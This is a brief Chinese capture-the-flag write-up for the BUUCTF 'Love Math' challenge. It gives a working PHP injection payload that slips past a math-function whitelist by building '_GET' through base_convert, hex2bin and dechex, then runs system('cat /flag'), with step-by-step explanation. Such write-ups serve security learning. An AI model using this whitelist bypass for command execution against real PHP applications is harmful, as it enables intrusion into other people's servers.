buuctf日记 [CISCN 2019 初赛]Love Math 1
payload
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat /flag
base_convert(37907361743,10,36) #把十进制数“37907361743”转为36进制(0-9,a-z)
base_convert(37907361743,10,36) # 结果: hex2bin
hex2bin()#把16进制转为字符串
dechex(1598506324) #把10进制转为16进制,1598506324为_GET的10进制数
dechex(1598506324) #结果:5f474554
hex2bin(5f474554)#结果:_GET
#所以base_convert(37907361743,10,36)(dechex(1598506324)) 结果:_GET
- hex2bin怎么来?
base_convert(hex2bin,36,10) - 1598506324怎么来?
字符串和16进制互转工具
在线进制转换工具
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat /flag
所以这个表达式本义为
c=$_GET[a]($_GET[b])&a=system&b=cat /flag
a,b要换成题目白名单里的词,比如我的pi,abs,acos
[]用()替代
用到了php特性
$a="system";
$a("ls");
这样php会执行 system ('ls')